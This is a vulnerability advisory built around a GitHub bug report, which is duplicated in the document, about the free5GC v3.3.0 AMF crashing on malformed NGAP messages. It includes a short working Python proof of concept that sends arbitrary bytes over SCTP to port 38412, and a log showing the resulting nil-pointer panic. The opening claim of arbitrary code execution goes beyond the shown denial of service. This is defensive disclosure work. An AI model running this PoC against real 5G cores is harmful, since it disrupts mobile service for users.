An issue was discovered in free5GC version 3.3.0, allows remote attackers to execute arbitrary code and cause a denial of service (DoS) on AMF component via crafted NGAP message.
## Describe the bug
When testing the free5gc AMF, it always crashes when receiving invalid NGAP messages.

## To Reproduce
Steps to reproduce the behavior:
1. Use https://github.com/free5gc/free5gc-compose as the test target
2. Start it with command `docker compose up`
3. Find the amf address with command `docker inspect free5gc-compose_privnet`
4. Run this POC python script: `python3 free5gc.py amf-address`

```python
import sys, sctp, socket

if len(sys.argv) != 2:
  print("Usage: free5gc.py server-address")
  exit(0)

sk = sctp.sctpsocket_tcp(socket.AF_INET)
sk.connect((sys.argv[1], 38412))

sk.sctp_send(b"Hello!", ppid=socket.htonl(60))

sk.close()
```

## Expected behavior
I think the expected behavior is rejecting the connection request. The current behavior is that the AMF crashes and unable to restart. This could cause DOS attack to the AMF funtionality.

When receiving NGAP message, it should validate the message content and reject malformed messages.

## Screenshots
![图片](https://github.com/free5gc/free5gc/assets/1829883/3c51ecb0-c2ff-4946-8245-7e5e9dffab19)

## Environment (please complete the following information):
 - free5GC Version: v3.3.0
 - OS: Ubuntu 20.04 Server
 - Kernel version: 5.4.0-165-generic

## Trace File
### Configuration File
Use the default config file of free5gc-compose

### PCAP File
[ngap.zip](https://github.com/free5gc/free5gc/files/13163030/ngap.zip)

### Log File
```text
n3iwf     |     free5GC version: v3.3.0
n3iwf     |     build time:      2023-06-08T16:41:03Z
n3iwf     |     commit hash:     22988ee2
n3iwf     |     commit time:     2023-06-07T05:56:10Z
n3iwf     |     go version:      go1.17.13 linux/amd64
n3iwf     | 2023-10-25T07:44:00.771477845Z [INFO][N3IWF][CFG] Read config from [./config/n3iwfcfg.yaml]
n3iwf     | 2023-10-25T07:44:00.774585151Z [INFO][N3IWF][Main] Log enable is set to [true]
n3iwf     | 2023-10-25T07:44:00.775936035Z [INFO][N3IWF][Main] Log level is set to [info]
n3iwf     | 2023-10-25T07:44:00.775944386Z [INFO][N3IWF][Main] Report Caller is set to [false]
n3iwf     | 2023-10-25T07:44:00.775946917Z [INFO][N3IWF][Init] Server started
n3iwf     | 2023-10-25T07:44:00.783345437Z [WARN][N3IWF][CTX] Parse PKCS8 private key failed: x509: failed to parse private key (use ParsePKCS1PrivateKey instead for this key format)
n3iwf     | 2023-10-25T07:44:00.787204900Z [INFO][N3IWF][CTX] Parse using PKCS1...
n3iwf     | 2023-10-25T07:44:00.802363531Z [WARN][N3IWF][Init] netlink.RouteAdd: file exists
n3iwf     | 2023-10-25T07:44:00.802403761Z [INFO][N3IWF][Init] Setup XFRM interface xfrmi-default
amf       | 2023-10-25T07:44:00.806365569Z [INFO][AMF][Ngap] [AMF] SCTP Accept from: 10.100.200.13/10.0.0.1:39401
n3iwf     | 2023-10-25T07:44:00.823230904Z [INFO][N3IWF][NGAP] [N3IWF] Send NG Setup Request
n3iwf     | 2023-10-25T07:44:00.838772233Z [INFO][N3IWF][Init] NGAP service running.
amf       | 2023-10-25T07:44:00.833948377Z [INFO][AMF][Ngap] Create a new NG connection for: 10.100.200.13/10.0.0.1:39401
amf       | 2023-10-25T07:44:00.851111321Z [INFO][AMF][Ngap][ran_addr:10.100.200.13/10.0.0.1:39401] Handle NGSetupRequest
amf       | 2023-10-25T07:44:00.851129648Z [WARN][AMF][Ngap][ran_addr:10.100.200.13/10.0.0.1:39401] Missing IE PagingDRX
amf       | 2023-10-25T07:44:00.851147752Z [INFO][AMF][Ngap][ran_addr:10.100.200.13/10.0.0.1:39401] Send NG-Setup response
n3iwf     | 2023-10-25T07:44:00.854214403Z [INFO][N3IWF][Init] NAS TCP server successfully started.
n3iwf     | 2023-10-25T07:44:00.868424664Z [INFO][N3IWF][Init] Listening NWu user plane traffic
n3iwf     | 2023-10-25T07:44:00.880093826Z [INFO][N3IWF][NGAP] [N3IWF] Handle NG Setup Response
n3iwf     | 2023-10-25T07:44:00.895830913Z [INFO][N3IWF][Init] IKE service running.
n3iwf     | 2023-10-25T07:44:00.896054523Z [INFO][N3IWF][Init] N3IWF running...
webui     | 2023-10-25T07:44:20.644588072Z [ERRO][WEBUI][CTX] RestfulAPIGetMany err: server selection error: context deadline exceeded, current topology: { Type: Unknown, Servers: [{ Addr: db:27017, Type: Unknown, Last error: connection() error occured during connection handshake: dial tcp: lookup db on 127.0.0.11:53: server misbehaving }, ] }
amf       | 2023-10-25T07:44:24.920922234Z [INFO][AMF][Ngap] [AMF] SCTP Accept from: <nil>
amf       | 2023-10-25T07:44:24.921416064Z [FATA][AMF][Ngap] panic: runtime error: invalid memory address or nil pointer dereference
amf       | goroutine 65 [running]:
amf       | runtime/debug.Stack()
amf       |     /usr/local/go/src/runtime/debug/stack.go:24 +0x65
amf       | github.com/free5gc/amf/internal/ngap/service.handleConnection.func1()
amf       |     /go/src/free5gc/NFs/amf/internal/ngap/service/service.go:184 +0x58
amf       | panic({0xbb3280, 0x13088a0})
amf       |     /usr/local/go/src/runtime/panic.go:1038 +0x215
amf       | github.com/free5gc/amf/internal/ngap.Dispatch({0xdf2988, 0xc000472000}, {0xc0008c0000, 0x40000, 0x40000})
amf       |     /go/src/free5gc/NFs/amf/internal/ngap/dispatcher.go:19 +0xac
amf       | github.com/free5gc/amf/internal/ngap/service.handleConnection(0xc000472000, 0x40000, {0xd03d48, 0xd03d58, 0xd03d50})
amf       |     /go/src/free5gc/NFs/amf/internal/ngap/service/service.go:237 +0x417
amf       | created by github.com/free5gc/amf/internal/ngap/service.listenAndServe
amf       |     /go/src/free5gc/NFs/amf/internal/ngap/service/service.go:158 +0x9fe
```

## System architecture (Option)
N/A

## Walkthrough (Option)
free5GC will be interested on the research or finding in brief.

## Additional context
It will be appreciated if other context can be added here.

[Bugs] AMF crashed when receving invalid NGAP messages
This is a GitHub Issue
repo:free5gc
owner:free5gc
Title : [Bugs] AMF crashed when receving invalid NGAP messages
Issue date:

--- start body ---
## Describe the bug
When testing the free5gc AMF, it always crashes when receiving invalid NGAP messages.

## To Reproduce
Steps to reproduce the behavior:
1. Use https://github.com/free5gc/free5gc-compose as the test target
2. Start it with command `docker compose up`
3. Find the amf address with command `docker inspect free5gc-compose_privnet`
4. Run this POC python script: `python3 free5gc.py amf-address`

```python
import sys, sctp, socket

if len(sys.argv) != 2:
  print("Usage: free5gc.py server-address")
  exit(0)

sk = sctp.sctpsocket_tcp(socket.AF_INET)
sk.connect((sys.argv[1], 38412))

sk.sctp_send(b"Hello!", ppid=socket.htonl(60))

sk.close()
```

## Expected behavior
I think the expected behavior is rejecting the connection request. The current behavior is that the AMF crashes and unable to restart. This could cause DOS attack to the AMF funtionality.

When receiving NGAP message, it should validate the message content and reject malformed messages.

## Screenshots
![图片](https://github.com/free5gc/free5gc/assets/1829883/3c51ecb0-c2ff-4946-8245-7e5e9dffab19)

## Environment (please complete the following information):
 - free5GC Version: v3.3.0
 - OS: Ubuntu 20.04 Server
 - Kernel version: 5.4.0-165-generic

## Trace File
### Configuration File
Use the default config file of free5gc-compose

### PCAP File
[ngap.zip](https://github.com/free5gc/free5gc/files/13163030/ngap.zip)

### Log File
```text
n3iwf     |     free5GC version: v3.3.0
n3iwf     |     build time:      2023-06-08T16:41:03Z
n3iwf     |     commit hash:     22988ee2
n3iwf     |     commit time:     2023-06-07T05:56:10Z
n3iwf     |     go version:      go1.17.13 linux/amd64
n3iwf     | 2023-10-25T07:44:00.771477845Z [INFO][N3IWF][CFG] Read config from [./config/n3iwfcfg.yaml]
n3iwf     | 2023-10-25T07:44:00.774585151Z [INFO][N3IWF][Main] Log enable is set to [true]
n3iwf     | 2023-10-25T07:44:00.775936035Z [INFO][N3IWF][Main] Log level is set to [info]
n3iwf     | 2023-10-25T07:44:00.775944386Z [INFO][N3IWF][Main] Report Caller is set to [false]
n3iwf     | 2023-10-25T07:44:00.775946917Z [INFO][N3IWF][Init] Server started
n3iwf     | 2023-10-25T07:44:00.783345437Z [WARN][N3IWF][CTX] Parse PKCS8 private key failed: x509: failed to parse private key (use ParsePKCS1PrivateKey instead for this key format)
n3iwf     | 2023-10-25T07:44:00.787204900Z [INFO][N3IWF][CTX] Parse using PKCS1...
n3iwf     | 2023-10-25T07:44:00.802363531Z [WARN][N3IWF][Init] netlink.RouteAdd: file exists
n3iwf     | 2023-10-25T07:44:00.802403761Z [INFO][N3IWF][Init] Setup XFRM interface xfrmi-default
amf       | 2023-10-25T07:44:00.806365569Z [INFO][AMF][Ngap] [AMF] SCTP Accept from: 10.100.200.13/10.0.0.1:39401
n3iwf     | 2023-10-25T07:44:00.823230904Z [INFO][N3IWF][NGAP] [N3IWF] Send NG Setup Request
n3iwf     | 2023-10-25T07:44:00.838772233Z [INFO][N3IWF][Init] NGAP service running.
amf       | 2023-10-25T07:44:00.833948377Z [INFO][AMF][Ngap] Create a new NG connection for: 10.100.200.13/10.0.0.1:39401
amf       | 2023-10-25T07:44:00.851111321Z [INFO][AMF][Ngap][ran_addr:10.100.200.13/10.0.0.1:39401] Handle NGSetupRequest
amf       | 2023-10-25T07:44:00.851129648Z [WARN][AMF][Ngap][ran_addr:10.100.200.13/10.0.0.1:39401] Missing IE PagingDRX
amf       | 2023-10-25T07:44:00.851147752Z [INFO][AMF][Ngap][ran_addr:10.100.200.13/10.0.0.1:39401] Send NG-Setup response
n3iwf     | 2023-10-25T07:44:00.854214403Z [INFO][N3IWF][Init] NAS TCP server successfully started.
n3iwf     | 2023-10-25T07:44:00.868424664Z [INFO][N3IWF][Init] Listening NWu user plane traffic
n3iwf     | 2023-10-25T07:44:00.880093826Z [INFO][N3IWF][NGAP] [N3IWF] Handle NG Setup Response
n3iwf     | 2023-10-25T07:44:00.895830913Z [INFO][N3IWF][Init] IKE service running.
n3iwf     | 2023-10-25T07:44:00.896054523Z [INFO][N3IWF][Init] N3IWF running...
webui     | 2023-10-25T07:44:20.644588072Z [ERRO][WEBUI][CTX] RestfulAPIGetMany err: server selection error: context deadline exceeded, current topology: { Type: Unknown, Servers: [{ Addr: db:27017, Type: Unknown, Last error: connection() error occured during connection handshake: dial tcp: lookup db on 127.0.0.11:53: server misbehaving }, ] }
amf       | 2023-10-25T07:44:24.920922234Z [INFO][AMF][Ngap] [AMF] SCTP Accept from: <nil>
amf       | 2023-10-25T07:44:24.921416064Z [FATA][AMF][Ngap] panic: runtime error: invalid memory address or nil pointer dereference
amf       | goroutine 65 [running]:
amf       | runtime/debug.Stack()
amf       |     /usr/local/go/src/runtime/debug/stack.go:24 +0x65
amf       | github.com/free5gc/amf/internal/ngap/service.handleConnection.func1()
amf       |     /go/src/free5gc/NFs/amf/internal/ngap/service/service.go:184 +0x58
amf       | panic({0xbb3280, 0x13088a0})
amf       |     /usr/local/go/src/runtime/panic.go:1038 +0x215
amf       | github.com/free5gc/amf/internal/ngap.Dispatch({0xdf2988, 0xc000472000}, {0xc0008c0000, 0x40000, 0x40000})
amf       |     /go/src/free5gc/NFs/amf/internal/ngap/dispatcher.go:19 +0xac
amf       | github.com/free5gc/amf/internal/ngap/service.handleConnection(0xc000472000, 0x40000, {0xd03d48, 0xd03d58, 0xd03d50})
amf       |     /go/src/free5gc/NFs/amf/internal/ngap/service/service.go:237 +0x417
amf       | created by github.com/free5gc/amf/internal/ngap/service.listenAndServe
amf       |     /go/src/free5gc/NFs/amf/internal/ngap/service/service.go:158 +0x9fe
```

## System architecture (Option)
N/A

## Walkthrough (Option)
free5GC will be interested on the research or finding in brief.

## Additional context
It will be appreciated if other context can be added here.

--- end body ---

The AMF (Access and Mobility Management Function) in free5GC crashes when it receives invalid NGAP (Next Generation Application Protocol) messages, which can lead to a Denial of Service (DoS) condition. The issue arises because the AMF does not properly validate incoming messages, allowing malformed messages to cause a panic due to a nil pointer dereference. This vulnerability can be exploited by sending crafted NGAP messages to the AMF, resulting in a crash and preventing the service from recovering without a restart.